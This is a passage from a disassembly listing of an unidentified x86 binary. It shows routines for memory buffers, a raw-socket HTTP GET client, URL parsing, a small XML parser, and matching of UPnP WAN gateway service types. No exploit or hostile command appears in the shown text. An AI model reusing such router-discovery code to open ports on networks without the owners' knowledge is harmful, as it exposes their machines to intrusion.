mov [eax+18h], ecx
push 3
pop ecx
mov [eax+1Ch], ecx
mov [eax+0Ch], ecx
xor edx, edx
mov dword ptr [eax], 16h
xor ecx, ecx
cmp [ebx+20h], edx
jle short loc_9B3CFD
xor esi, esi
loc_9B3CDA: ; CODE XREF: sub_9B3A12+2E9j
mov eax, [ebx]
add eax, esi
cmp [eax+8], edx
jnz short loc_9B3CE9
lea edi, [eax+10h]
mov [eax+8], edi
loc_9B3CE9: ; CODE XREF: sub_9B3A12+2CFj
cmp [eax+18h], edx
jnz short loc_9B3CF4
lea edi, [eax+20h]
mov [eax+18h], edi
loc_9B3CF4: ; CODE XREF: sub_9B3A12+2DAj
inc ecx
add esi, 28h
cmp ecx, [ebx+20h]
jl short loc_9B3CDA
loc_9B3CFD: ; CODE XREF: sub_9B3A12+2C4j
cmp [ebp+arg_C], edx
jz short loc_9B3D09
mov ecx, ebx
call sub_9B392F
loc_9B3D09: ; CODE XREF: sub_9B3A12+2EEj
xor eax, eax
inc eax
loc_9B3D0C: ; CODE XREF: sub_9B3A12+156j
pop edi
pop esi
pop ebx
leave
retn
sub_9B3A12 endp
; =============== S U B R O U T I N E =======================================
sub_9B3D11 proc near ; CODE XREF: sub_9AF0BC+8Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, ds:dword_9BA2C8
mov [eax], ecx
mov eax, ds:dword_9BA2CC
retn
sub_9B3D11 endp
; =============== S U B R O U T I N E =======================================
sub_9B3D23 proc near ; CODE XREF: sub_9B1166+11p
; sub_9B3EA2+Dp ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 200200h
jnz short loc_9B3D48
xor eax, eax
cmp ds:dword_9BA2CC, eax
jz short loc_9B3D66
mov ds:dword_9BA2CC, eax
mov ds:dword_9BA2C8, eax
mov ds:dword_9BA2D0, eax
jmp short loc_9B3D63
; ---------------------------------------------------------------------------
loc_9B3D48: ; CODE XREF: sub_9B3D23+8j
cmp [esp+arg_0], 100100h
jnz short loc_9B3D66
xor eax, eax
mov ds:dword_9BA2D4, eax
mov ds:dword_9BA2D8, eax
mov ds:dword_9BA2DC, eax
loc_9B3D63: ; CODE XREF: sub_9B3D23+23j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_9B3D66: ; CODE XREF: sub_9B3D23+12j
; sub_9B3D23+2Dj
or eax, 0FFFFFFFFh
retn
sub_9B3D23 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B3D6A(int, void *Dst, size_t Size)
sub_9B3D6A proc near ; CODE XREF: sub_9AF2B0+71p
; sub_9B0BB7+21p ...
arg_0 = dword ptr 4
Dst = dword ptr 8
Size = dword ptr 0Ch
cmp [esp+arg_0], 100100h
push esi
mov esi, [esp+4+Size]
jnz short loc_9B3DC1
mov edx, ds:dword_9BA2D4
test edx, edx
jz short loc_9B3DC1
mov ecx, ds:dword_9BA2D8
test ecx, ecx
jz short loc_9B3DC1
mov eax, ds:dword_9BA2DC
cmp eax, ecx
jl short loc_9B3D9A
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B3D9A: ; CODE XREF: sub_9B3D6A+2Aj
push edi
lea edi, [eax+esi]
cmp edi, ecx
pop edi
jle short loc_9B3DA7
sub ecx, eax
mov esi, ecx
loc_9B3DA7: ; CODE XREF: sub_9B3D6A+37j
push esi ; Size
add eax, edx
push eax ; Src
push [esp+0Ch+Dst] ; Dst
call memcpy
add esp, 0Ch
add ds:dword_9BA2DC, esi
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B3DC1: ; CODE XREF: sub_9B3D6A+Dj
; sub_9B3D6A+17j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_9B3D6A endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B3DC6(int, void *Src, size_t Size)
sub_9B3DC6 proc near ; CODE XREF: sub_9AF3BC+Dp
; sub_9B0D88+46p
arg_0 = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
cmp [esp+arg_0], 200200h
push esi
mov esi, [esp+4+Size]
jnz short loc_9B3E1D
mov edx, ds:dword_9BA2CC
test edx, edx
jz short loc_9B3E1D
mov ecx, ds:dword_9BA2C8
test ecx, ecx
jz short loc_9B3E1D
mov eax, ds:dword_9BA2D0
cmp eax, ecx
jl short loc_9B3DF6
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B3DF6: ; CODE XREF: sub_9B3DC6+2Aj
push edi
lea edi, [eax+esi]
cmp edi, ecx
pop edi
jle short loc_9B3E03
sub ecx, eax
mov esi, ecx
loc_9B3E03: ; CODE XREF: sub_9B3DC6+37j
push esi ; Size
push [esp+8+Src] ; Src
add eax, edx
push eax ; Dst
call memcpy
add esp, 0Ch
add ds:dword_9BA2D0, esi
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B3E1D: ; CODE XREF: sub_9B3DC6+Dj
; sub_9B3DC6+17j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_9B3DC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B3E22 proc near ; CODE XREF: sub_9B0C53+Fp
; sub_9B0C53+62p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_0], 100100h
jnz short loc_9B3E61
cmp [ebp+arg_8], 0
jnz short loc_9B3E39
mov eax, [ebp+arg_4]
jmp short loc_9B3E5A
; ---------------------------------------------------------------------------
loc_9B3E39: ; CODE XREF: sub_9B3E22+10j
cmp [ebp+arg_8], 1
jnz short loc_9B3E49
mov eax, ds:dword_9BA2DC
add eax, [ebp+arg_4]
jmp short loc_9B3E5A
; ---------------------------------------------------------------------------
loc_9B3E49: ; CODE XREF: sub_9B3E22+1Bj
cmp [ebp+arg_8], 2
jnz short loc_9B3E9D
mov eax, [ebp+arg_4]
mov ecx, ds:dword_9BA2D8
add eax, ecx
loc_9B3E5A: ; CODE XREF: sub_9B3E22+15j
; sub_9B3E22+25j
mov ds:dword_9BA2DC, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_9B3E61: ; CODE XREF: sub_9B3E22+Aj
cmp [ebp+arg_0], 200200h
jnz short loc_9B3E9D
cmp [ebp+arg_8], 0
jnz short loc_9B3E75
mov eax, [ebp+arg_4]
jmp short loc_9B3E96
; ---------------------------------------------------------------------------
loc_9B3E75: ; CODE XREF: sub_9B3E22+4Cj
cmp [ebp+arg_8], 1
jnz short loc_9B3E85
mov eax, ds:dword_9BA2D0
add eax, [ebp+arg_4]
jmp short loc_9B3E96
; ---------------------------------------------------------------------------
loc_9B3E85: ; CODE XREF: sub_9B3E22+57j
cmp [ebp+arg_8], 2
jnz short loc_9B3E9D
mov eax, [ebp+arg_4]
mov ecx, ds:dword_9BA2C8
add eax, ecx
loc_9B3E96: ; CODE XREF: sub_9B3E22+51j
; sub_9B3E22+61j
mov ds:dword_9BA2D0, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_9B3E9D: ; CODE XREF: sub_9B3E22+2Bj
; sub_9B3E22+46j ...
or eax, 0FFFFFFFFh
pop ebp
retn
sub_9B3E22 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B3EA2(int, char, size_t Size)
sub_9B3EA2 proc near ; CODE XREF: sub_9AF0BC+20p
; sub_9B0FE1+A1p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
Size = dword ptr 0Ch
test [esp+arg_4], 2
push edi
jz short loc_9B3EDC
push 200200h
call sub_9B3D23
mov edi, [esp+8+Size]
push edi ; Size
call malloc
test eax, eax
pop ecx
pop ecx
mov ds:dword_9BA2CC, eax
jz short loc_9B3ED7
mov ds:dword_9BA2C8, edi
mov eax, 200200h
pop edi
retn
; ---------------------------------------------------------------------------
loc_9B3ED7: ; CODE XREF: sub_9B3EA2+26j
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_9B3EDC: ; CODE XREF: sub_9B3EA2+6j
mov ecx, 100100h
push ecx
call sub_9B3D23
mov eax, [esp+8+arg_0]
mov ds:dword_9BA2D4, eax
mov eax, [esp+8+Size]
add esp, 4
mov ds:dword_9BA2D8, eax
mov eax, ecx
pop edi
retn
sub_9B3EA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B3F00(char *name, u_short netshort, int, int, char *Dest, size_t Count)
sub_9B3F00 proc near ; CODE XREF: sub_9B4207+42p
buf = byte ptr -834h
var_833 = byte ptr -833h
var_832 = byte ptr -832h
var_831 = byte ptr -831h
Src = byte ptr -830h
var_34 = byte ptr -34h
in = in_addr ptr -30h
var_24 = word ptr -24h
var_22 = word ptr -22h
Dst = byte ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
s = dword ptr -10h
var_C = dword ptr -0Ch
namelen = dword ptr -8
Memory = dword ptr -4
name = dword ptr 8
netshort = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Dest = dword ptr 18h
Count = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 834h
mov eax, [ebp+arg_C]
push edi
push [ebp+name] ; name
xor edi, edi
mov [eax], edi
call gethostbyname
cmp eax, edi
jnz short loc_9B3F25
xor eax, eax
jmp loc_9B4109
; ---------------------------------------------------------------------------
loc_9B3F25: ; CODE XREF: sub_9B3F00+1Cj
mov eax, [eax+0Ch]
push ebx
push 4 ; Size
push dword ptr [eax] ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call memcpy
push 8 ; Size
lea eax, [ebp+var_1C]
push edi ; Val
push eax ; Dst
call memset
add esp, 18h
push edi ; protocol
push 1 ; type
push 2 ; af
call socket
mov ebx, eax
cmp ebx, edi
mov [ebp+s], ebx
jge short loc_9B3F60
xor eax, eax
jmp loc_9B4108
; ---------------------------------------------------------------------------
loc_9B3F60: ; CODE XREF: sub_9B3F00+57j
push esi
push dword ptr [ebp+netshort] ; netshort
mov [ebp+var_24], 2
call ntohs
push 10h
pop esi
mov [ebp+var_22], ax
push esi ; namelen
lea eax, [ebp+var_24]
push eax ; name
push ebx ; s
call connect
test eax, eax
jl loc_9B40FE
cmp [ebp+Dest], edi
jz short loc_9B3FBB
lea eax, [ebp+namelen]
push eax ; namelen
lea eax, [ebp+var_34]
push eax ; name
push ebx ; s
mov [ebp+namelen], esi
call getsockname
push [ebp+Count] ; Count
push dword ptr [ebp+in.S_un] ; in
call inet_ntoa
push eax ; Source
push [ebp+Dest] ; Dest
call strncpy
add esp, 0Ch
loc_9B3FBB: ; CODE XREF: sub_9B3F00+8Ej
movzx eax, [ebp+netshort]
push eax
push [ebp+name]
mov esi, 800h
push [ebp+arg_8]
lea eax, [ebp+buf]
push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHost: %s:%d\r\nConnectio"...
push esi ; Count
push eax ; Dest
call _snprintf
add esp, 18h
lea eax, [ebp+buf]
push edi ; flags
push eax ; Str
call strlen
pop ecx
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
push ebx ; s
call send
push 1388h
push esi
lea eax, [ebp+buf]
push eax
mov [ebp+var_14], 1
mov [ebp+Memory], edi
push ebx
jmp loc_9B40E1
; ---------------------------------------------------------------------------
loc_9B401B: ; CODE XREF: sub_9B3F00+1EDj
cmp [ebp+var_14], 0
jz loc_9B40A8
xor eax, eax
lea ecx, [ebx-3]
test ecx, ecx
mov [ebp+namelen], eax
jle loc_9B40D1
loc_9B4035: ; CODE XREF: sub_9B3F00+163j
cmp [ebp+eax+buf], 0Dh
jnz short loc_9B405D
cmp [ebp+eax+var_833], 0Ah
jnz short loc_9B405D
cmp [ebp+eax+var_832], 0Dh
jnz short loc_9B405D
cmp [ebp+eax+var_831], 0Ah
jz short loc_9B4067
loc_9B405D: ; CODE XREF: sub_9B3F00+13Dj
; sub_9B3F00+147j ...
inc eax
cmp eax, ecx
mov [ebp+namelen], eax
jl short loc_9B4035
jmp short loc_9B40D1
; ---------------------------------------------------------------------------
loc_9B4067: ; CODE XREF: sub_9B3F00+15Bj
and [ebp+var_14], 0
lea ecx, [ebx-4]
cmp eax, ecx
jge short loc_9B40D1
sub ebx, eax
mov [ebp+var_C], ebx
add ebx, edi
lea eax, [ebx-4]
push eax ; NewSize
push [ebp+Memory] ; Memory
call realloc
mov ecx, [ebp+var_C]
add ecx, 0FFFFFFFCh
push ecx ; Size
mov ecx, [ebp+namelen]
lea ecx, [ebp+ecx+Src]
push ecx ; Src
add edi, eax
push edi ; Dst
mov [ebp+Memory], eax
call memcpy
lea edi, [ebx-4]
jmp short loc_9B40CE
; ---------------------------------------------------------------------------
loc_9B40A8: ; CODE XREF: sub_9B3F00+11Fj
lea eax, [ebx+edi]
push eax ; NewSize
push [ebp+Memory] ; Memory
mov [ebp+var_C], eax
call realloc
push ebx ; Size
lea ecx, [ebp+buf]
push ecx ; Src
add edi, eax
push edi ; Dst
mov [ebp+Memory], eax
call memcpy
mov edi, [ebp+var_C]
loc_9B40CE: ; CODE XREF: sub_9B3F00+1A6j
add esp, 14h
loc_9B40D1: ; CODE XREF: sub_9B3F00+12Fj
; sub_9B3F00+165j ...
push 1388h ; int
push esi ; len
lea eax, [ebp+buf]
push eax ; buf
push [ebp+s] ; s
loc_9B40E1: ; CODE XREF: sub_9B3F00+116j
call sub_9B4AC0
mov ebx, eax
add esp, 10h
test ebx, ebx
jg loc_9B401B
mov eax, [ebp+arg_C]
mov ebx, [ebp+s]
mov [eax], edi
mov edi, [ebp+Memory]
loc_9B40FE: ; CODE XREF: sub_9B3F00+85j
push ebx ; s
call closesocket
mov eax, edi
pop esi
loc_9B4108: ; CODE XREF: sub_9B3F00+5Bj
pop ebx
loc_9B4109: ; CODE XREF: sub_9B3F00+20j
pop edi
leave
retn
sub_9B3F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B410C(char *Str, void *Dest, int, int)
sub_9B410C proc near ; CODE XREF: sub_9B4207+27p
; sub_9B4C5A+120p
Str = dword ptr 8
Dest = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+Str]
push edi
push offset asc_9A6B18 ; "://"
push esi ; Str
call strstr
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jz loc_9B4200
add ebx, 3
cmp byte ptr [esi], 68h
jnz loc_9B4200
cmp byte ptr [esi+1], 74h
jnz loc_9B4200
cmp byte ptr [esi+2], 74h
jnz loc_9B4200
cmp byte ptr [esi+3], 70h
jnz loc_9B4200
mov edi, strchr
push 3Ah ; Val
push ebx ; Str
call edi ; strchr
push 2Fh ; Val
push ebx ; Str
mov esi, eax
call edi ; strchr
mov edi, eax
add esp, 10h
test edi, edi
jz loc_9B4200
push 41h ; Size
push 0 ; Val
push [ebp+Dest] ; Dst
call memset
add esp, 0Ch
test esi, esi
jz short loc_9B41D4
cmp esi, edi
ja short loc_9B41D4
mov eax, esi
sub eax, ebx
cmp eax, 40h
jle short loc_9B4199
push 40h
pop eax
loc_9B4199: ; CODE XREF: sub_9B410C+88j
push eax ; Count
push ebx ; Source
push [ebp+Dest] ; Dest
call strncpy
mov ecx, [ebp+arg_8]
add esp, 0Ch
and word ptr [ecx], 0
jmp short loc_9B41CB
; ---------------------------------------------------------------------------
loc_9B41B0: ; CODE XREF: sub_9B410C+C4j
cmp al, 39h
jg short loc_9B41F6
xor eax, eax
mov ax, [ecx]
imul ax, 0Ah
mov [ecx], ax
movsx dx, byte ptr [esi]
lea eax, [edx+eax-30h]
mov [ecx], ax
loc_9B41CB: ; CODE XREF: sub_9B410C+A2j
inc esi
mov al, [esi]
cmp al, 30h
jge short loc_9B41B0
jmp short loc_9B41F6
; ---------------------------------------------------------------------------
loc_9B41D4: ; CODE XREF: sub_9B410C+7Bj
; sub_9B410C+7Fj
mov eax, edi
sub eax, ebx
cmp eax, 40h
jle short loc_9B41E0
push 40h
pop eax
loc_9B41E0: ; CODE XREF: sub_9B410C+CFj
push eax ; Count
push ebx ; Source
push [ebp+Dest] ; Dest
call strncpy
mov eax, [ebp+arg_8]
add esp, 0Ch
mov word ptr [eax], 50h
loc_9B41F6: ; CODE XREF: sub_9B410C+A6j
; sub_9B410C+C6j
mov eax, [ebp+arg_C]
mov [eax], edi
xor eax, eax
inc eax
jmp short loc_9B4202
; ---------------------------------------------------------------------------
loc_9B4200: ; CODE XREF: sub_9B410C+1Bj
; sub_9B410C+27j ...
xor eax, eax
loc_9B4202: ; CODE XREF: sub_9B410C+F2j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_9B410C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4207(char *Str, int, int netshort, size_t Count)
sub_9B4207 proc near ; CODE XREF: sub_9B4B6B+32p
Dest = byte ptr -44h
Str = dword ptr 8
arg_4 = dword ptr 0Ch
netshort = dword ptr 10h
Count = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 44h
push esi
mov esi, [ebp+netshort]
push edi
mov edi, [ebp+arg_4]
and dword ptr [edi], 0
test esi, esi
jz short loc_9B421F
mov byte ptr [esi], 0
loc_9B421F: ; CODE XREF: sub_9B4207+13j
lea eax, [ebp+arg_4]
push eax ; int
lea eax, [ebp+netshort]
push eax ; int
lea eax, [ebp+Dest]
push eax ; Dest
push [ebp+Str] ; Str
call sub_9B410C
add esp, 10h
test eax, eax
jz short loc_9B4251
push [ebp+Count] ; Count
lea eax, [ebp+Dest]
push esi ; Dest
push edi ; int
push [ebp+arg_4] ; int
push [ebp+netshort] ; netshort
push eax ; name
call sub_9B3F00
add esp, 18h
loc_9B4251: ; CODE XREF: sub_9B4207+31j
pop edi
pop esi
leave
retn
sub_9B4207 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B4255 proc near ; CODE XREF: sub_9B43AF+97p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
jmp loc_9B4397
; ---------------------------------------------------------------------------
loc_9B4265: ; CODE XREF: sub_9B4255+148j
mov ecx, [esi+8]
mov al, [ecx]
cmp al, 2Fh
jz loc_9B43A8
cmp al, 3Eh
jz loc_9B43A8
mov bl, 20h
cmp al, bl
jz loc_9B4394
cmp al, 9
jz loc_9B4394
cmp al, 0Dh
jz loc_9B4394
cmp al, 0Ah
jz loc_9B4394
and [ebp+arg_0], 0
mov dl, 3Dh
cmp al, dl
mov [ebp+var_8], ecx
jz short loc_9B42D1
loc_9B42A9: ; CODE XREF: sub_9B4255+7Aj
mov eax, [esi+8]
mov cl, [eax]
cmp cl, bl
jz short loc_9B42D1
cmp cl, 9
jz short loc_9B42D1
cmp cl, 0Dh
jz short loc_9B42D1
cmp cl, 0Ah
jz short loc_9B42D1
inc [ebp+arg_0]
inc eax
cmp eax, [esi+4]
mov [esi+8], eax
jnb short loc_9B430E
cmp [eax], dl
jnz short loc_9B42A9
loc_9B42D1: ; CODE XREF: sub_9B4255+52j
; sub_9B4255+5Bj ...
mov eax, [esi+8]
cmp [eax], dl
jz short loc_9B42EA
mov eax, [esi+4]
loc_9B42DB: ; CODE XREF: sub_9B4255+93j
inc dword ptr [esi+8]
cmp [esi+8], eax
jnb short loc_9B430E
mov ecx, [esi+8]
cmp [ecx], dl
jnz short loc_9B42DB
loc_9B42EA: ; CODE XREF: sub_9B4255+81j
inc dword ptr [esi+8]
mov eax, [esi+8]
loc_9B42F0: ; CODE XREF: sub_9B4255+B7j
mov cl, [eax]
cmp cl, bl
jz short loc_9B4305
cmp cl, 9
jz short loc_9B4305
cmp cl, 0Dh
jz short loc_9B4305
cmp cl, 0Ah
jnz short loc_9B4316
loc_9B4305: ; CODE XREF: sub_9B4255+9Fj
; sub_9B4255+A4j ...
inc eax
cmp eax, [esi+4]
mov [esi+8], eax
jb short loc_9B42F0
loc_9B430E: ; CODE XREF: sub_9B4255+76j
; sub_9B4255+8Cj ...
or eax, 0FFFFFFFFh
loc_9B4311: ; CODE XREF: sub_9B4255+155j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B4316: ; CODE XREF: sub_9B4255+AEj
mov cl, [eax]
cmp cl, 27h
jz short loc_9B4358
cmp cl, 22h
jz short loc_9B4358
xor edi, edi
cmp cl, bl
mov [ebp+var_4], eax
jz short loc_9B437B
loc_9B432B: ; CODE XREF: sub_9B4255+FFj
mov cl, [eax]
cmp cl, 9
jz short loc_9B437B
cmp cl, 0Dh
jz short loc_9B437B
cmp cl, 0Ah
jz short loc_9B437B
cmp cl, 3Eh
jz short loc_9B437B
cmp cl, 2Fh
jz short loc_9B437B
inc edi
inc eax
cmp eax, [esi+4]
mov [esi+8], eax
jnb short loc_9B430E
mov ecx, eax
cmp [ecx], bl
jnz short loc_9B432B
jmp short loc_9B437B
; ---------------------------------------------------------------------------
loc_9B4358: ; CODE XREF: sub_9B4255+C6j
; sub_9B4255+CBj
mov edx, [esi+4]
inc eax
cmp eax, edx
mov [esi+8], eax
jnb short loc_9B430E
xor edi, edi
cmp [eax], cl
mov [ebp+var_4], eax
jz short loc_9B437B
loc_9B436C: ; CODE XREF: sub_9B4255+124j
inc edi
inc eax
cmp eax, edx
mov [esi+8], eax
jnb short loc_9B430E
mov ebx, eax
cmp [ebx], cl
jnz short loc_9B436C
loc_9B437B: ; CODE XREF: sub_9B4255+D4j
; sub_9B4255+DBj ...
mov eax, [esi+20h]
test eax, eax
jz short loc_9B4394
push edi
push [ebp+var_4]
push [ebp+arg_0]
push [ebp+var_8]
push dword ptr [esi+10h]
call eax
add esp, 14h
loc_9B4394: ; CODE XREF: sub_9B4255+29j
; sub_9B4255+31j ...
inc dword ptr [esi+8]
loc_9B4397: ; CODE XREF: sub_9B4255+Bj
mov eax, [esi+8]
cmp eax, [esi+4]
jb loc_9B4265
jmp loc_9B430E
; ---------------------------------------------------------------------------
loc_9B43A8: ; CODE XREF: sub_9B4255+17j
; sub_9B4255+1Fj
xor eax, eax
jmp loc_9B4311
sub_9B4255 endp
; =============== S U B R O U T I N E =======================================
sub_9B43AF proc near ; CODE XREF: sub_9B450D+12p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+4]
dec eax
cmp [esi+8], eax
jnb loc_9B450B
push ebx
push edi
loc_9B43C3: ; CODE XREF: sub_9B43AF+154j
mov ecx, [esi+8]
cmp byte ptr [ecx], 3Ch
jnz loc_9B44F8
lea eax, [ecx+1]
cmp byte ptr [eax], 3Fh
jz loc_9B44F8
xor edx, edx
mov [esi+8], eax
cmp byte ptr [eax], 20h
mov edi, eax
jz loc_9B44B6
loc_9B43EB: ; CODE XREF: sub_9B43AF+7Bj
mov eax, [esi+8]
mov cl, [eax]
cmp cl, 9
jz short loc_9B442C
cmp cl, 0Dh
jz short loc_9B442C
cmp cl, 0Ah
jz short loc_9B442C
cmp cl, 3Eh
jz short loc_9B442C
cmp cl, 2Fh
jz short loc_9B442C
inc edx
inc eax
cmp eax, [esi+4]
mov [esi+8], eax
jnb loc_9B4509
cmp byte ptr [eax], 3Ah
jnz short loc_9B4424
xor edx, edx
inc eax
mov [esi+8], eax
mov edi, eax
loc_9B4424: ; CODE XREF: sub_9B43AF+6Bj
mov eax, [esi+8]
cmp byte ptr [eax], 20h
jnz short loc_9B43EB
loc_9B442C: ; CODE XREF: sub_9B43AF+44j
; sub_9B43AF+49j ...
test edx, edx
jle loc_9B44B6
mov eax, [esi+14h]
test eax, eax
jz short loc_9B4445
push edx
push edi
push dword ptr [esi+10h]
call eax
add esp, 0Ch
loc_9B4445: ; CODE XREF: sub_9B43AF+8Aj
push esi
call sub_9B4255
test eax, eax
pop ecx
jnz loc_9B4509
mov eax, [esi+8]
cmp byte ptr [eax], 2Fh
jz loc_9B44FC
mov ecx, [esi+4]
xor edi, edi
inc eax
mov ebx, eax
jmp short loc_9B4481
; ---------------------------------------------------------------------------
loc_9B446A: ; CODE XREF: sub_9B43AF+D7j
mov dl, [eax]
cmp dl, 20h
jz short loc_9B4480
cmp dl, 9
jz short loc_9B4480
cmp dl, 0Dh
jz short loc_9B4480
cmp dl, 0Ah
jnz short loc_9B448A
loc_9B4480: ; CODE XREF: sub_9B43AF+C0j
; sub_9B43AF+C5j ...
inc eax
loc_9B4481: ; CODE XREF: sub_9B43AF+B9j
cmp eax, ecx
mov [esi+8], eax
jb short loc_9B446A
jmp short loc_9B4509
; ---------------------------------------------------------------------------
loc_9B448A: ; CODE XREF: sub_9B43AF+CFj
cmp byte ptr [eax], 3Ch
jz short loc_9B44FC
loc_9B448F: ; CODE XREF: sub_9B43AF+EEj
inc edi
inc eax
cmp eax, ecx
mov [esi+8], eax
jnb short loc_9B4509
mov edx, eax
cmp byte ptr [edx], 3Ch
jnz short loc_9B448F
test edi, edi
jle short loc_9B44FC
mov eax, [esi+1Ch]
test eax, eax
jz short loc_9B44FC
push edi
push ebx
push dword ptr [esi+10h]
call eax
add esp, 0Ch
jmp short loc_9B44FC
; ---------------------------------------------------------------------------
loc_9B44B6: ; CODE XREF: sub_9B43AF+36j
; sub_9B43AF+7Fj
mov eax, [esi+8]
cmp byte ptr [eax], 2Fh
jnz short loc_9B44FC
mov ecx, [esi+4]
xor edx, edx
inc eax
cmp eax, ecx
mov [esi+8], eax
mov edi, eax
jnb short loc_9B4509
cmp byte ptr [eax], 3Eh
jz short loc_9B44E2
loc_9B44D2: ; CODE XREF: sub_9B43AF+131j
inc edx
inc eax
cmp eax, ecx
mov [esi+8], eax
jnb short loc_9B4509
mov ebx, eax
cmp byte ptr [ebx], 3Eh
jnz short loc_9B44D2
loc_9B44E2: ; CODE XREF: sub_9B43AF+121j
mov eax, [esi+18h]
test eax, eax
jz short loc_9B44F3
push edx
push edi
push dword ptr [esi+10h]
call eax
add esp, 0Ch
loc_9B44F3: ; CODE XREF: sub_9B43AF+138j
inc dword ptr [esi+8]
jmp short loc_9B44FC
; ---------------------------------------------------------------------------
loc_9B44F8: ; CODE XREF: sub_9B43AF+1Aj
; sub_9B43AF+26j
inc ecx
mov [esi+8], ecx
loc_9B44FC: ; CODE XREF: sub_9B43AF+ABj
; sub_9B43AF+DEj ...
mov eax, [esi+4]
dec eax
cmp [esi+8], eax
jb loc_9B43C3
loc_9B4509: ; CODE XREF: sub_9B43AF+62j
; sub_9B43AF+9Fj ...
pop edi
pop ebx
loc_9B450B: ; CODE XREF: sub_9B43AF+Cj
pop esi
retn
sub_9B43AF endp
; =============== S U B R O U T I N E =======================================
sub_9B450D proc near ; CODE XREF: sub_9B47E9+35p
; sub_9B517D+34p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax]
mov edx, [eax+0Ch]
add edx, ecx
push eax
mov [eax+8], ecx
mov [eax+4], edx
call sub_9B43AF
pop ecx
retn
sub_9B450D endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B4526(void *Dst, void *Buf1, size_t Size)
sub_9B4526 proc near ; DATA XREF: sub_9B47E9+20o
Dst = dword ptr 4
Buf1 = dword ptr 8
Size = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+Dst]
push edi
mov edi, [esp+0Ch+Size]
push edi ; Size
push [esp+10h+Buf1] ; Src
push esi ; Dst
call memcpy
xor bl, bl
add esp, 0Ch
mov [esi+edi], bl
inc dword ptr [esi+100h]
cmp edi, 7
jnz short loc_9B457D
push edi ; Size
push offset aService ; "service"
push [esp+14h+Buf1] ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9B457D
mov [esi+504h], bl
mov [esi+584h], bl
mov [esi+604h], bl
mov [esi+684h], bl
loc_9B457D: ; CODE XREF: sub_9B4526+27j
; sub_9B4526+3Dj
pop edi
pop esi
pop ebx
retn
sub_9B4526 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B4581(int, void *Buf1, int)
sub_9B4581 proc near ; DATA XREF: sub_9B47E9+27o
arg_0 = dword ptr 4
Buf1 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
dec dword ptr [esi+100h]
cmp [esp+4+arg_8], 7
jnz loc_9B468A
push 7 ; Size
push offset aService ; "service"
push [esp+0Ch+Buf1] ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz loc_9B468A
push ebx
push edi
lea ebx, [esi+684h]
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"...
push ebx ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B4614
mov edi, 80h
push edi ; Size
lea eax, [esi+504h]
push eax ; Src
lea eax, [esi+104h]
push eax ; Dst
call memcpy
push edi ; Size
lea eax, [esi+584h]
push eax ; Src
lea eax, [esi+184h]
push eax ; Dst
call memcpy
push edi ; Size
lea eax, [esi+604h]
push eax ; Src
lea eax, [esi+204h]
push eax ; Dst
call memcpy
add esi, 284h
jmp short loc_9B467D
; ---------------------------------------------------------------------------
loc_9B4614: ; CODE XREF: sub_9B4581+48j
push offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"...
push ebx ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_9B4636
push offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"...
push ebx ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B4688
loc_9B4636: ; CODE XREF: sub_9B4581+A2j
mov edi, 80h
push edi ; Size
lea eax, [esi+504h]
push eax ; Src
lea eax, [esi+304h]
push eax ; Dst
call memcpy
push edi ; Size
lea eax, [esi+584h]
